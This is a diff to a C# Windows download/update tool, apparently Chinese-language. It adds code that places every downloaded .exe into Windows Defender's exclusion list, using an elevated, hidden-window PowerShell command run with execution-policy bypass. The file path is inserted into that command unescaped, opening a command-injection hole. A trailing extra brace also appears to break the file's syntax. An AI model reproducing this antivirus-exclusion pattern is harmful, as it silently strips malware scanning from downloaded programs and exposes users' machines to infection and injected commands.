diff --git a/Form1.cs b/Form1.cs
index 6d333db..37f32eb 100644
--- a/Form1.cs
+++ b/Form1.cs
@@ -912,7 +912,14 @@ namespace CheckDownload
                         File.Move(tempFilePath, backupPath);
                         filesForScripting.Add((localPath, backupPath));
                     }
-
+                    else
+                    {
+                        // 文件移动成功，如果是exe，则添加到信任区
+                        if (localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
+                        {
+                            AddToWindowsDefenderExclusion(localPath);
+                        }
+                    }
                 }
                 finally
                 {
@@ -1631,6 +1638,44 @@ namespace CheckDownload
             }
         }
 
+        /// <summary>
+        /// 将指定的文件路径添加到Windows Defender的排除项中。
+        /// </summary>
+        /// <param name="filePath">要添加排除的.exe文件的完整路径。</param>
+        private void AddToWindowsDefenderExclusion(string filePath)
+        {
+            try
+            {
+                UpdateStatus($"添加 {Path.GetFileName(filePath)} 到信任区...");
+
+                var startInfo = new ProcessStartInfo
+                {
+                    FileName = "powershell.exe",
+                    Arguments = $"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '{filePath}'\"",
+                    Verb = "runas",
+                    CreateNoWindow = true,
+                    WindowStyle = ProcessWindowStyle.Hidden,
+                    UseShellExecute = true
+                };
+
+                using (var process = Process.Start(startInfo))
+                {
+                    if (!process.WaitForExit(10000))
+                    {
+                        UpdateStatus($"添加信任超时: {Path.GetFileName(filePath)}");
+                    }
+                    else if (process.ExitCode != 0)
+                    {
+                        UpdateStatus($"添加信任失败: {Path.GetFileName(filePath)}");
+                    }
+                }
+            }
+            catch (Exception)
+            {
+                UpdateStatus($"添加信任时出错: {Path.GetFileName(filePath)}");
+            }
+        }
+
         /// <summary>
         /// 从嵌入的资源中提取与当前进程体系结构匹配的7z.dll到临时目录。
         /// </summary>
@@ -1716,4 +1761,5 @@ namespace CheckDownload
             catch { }
         }
     }
+}
 }
\ No newline at end of file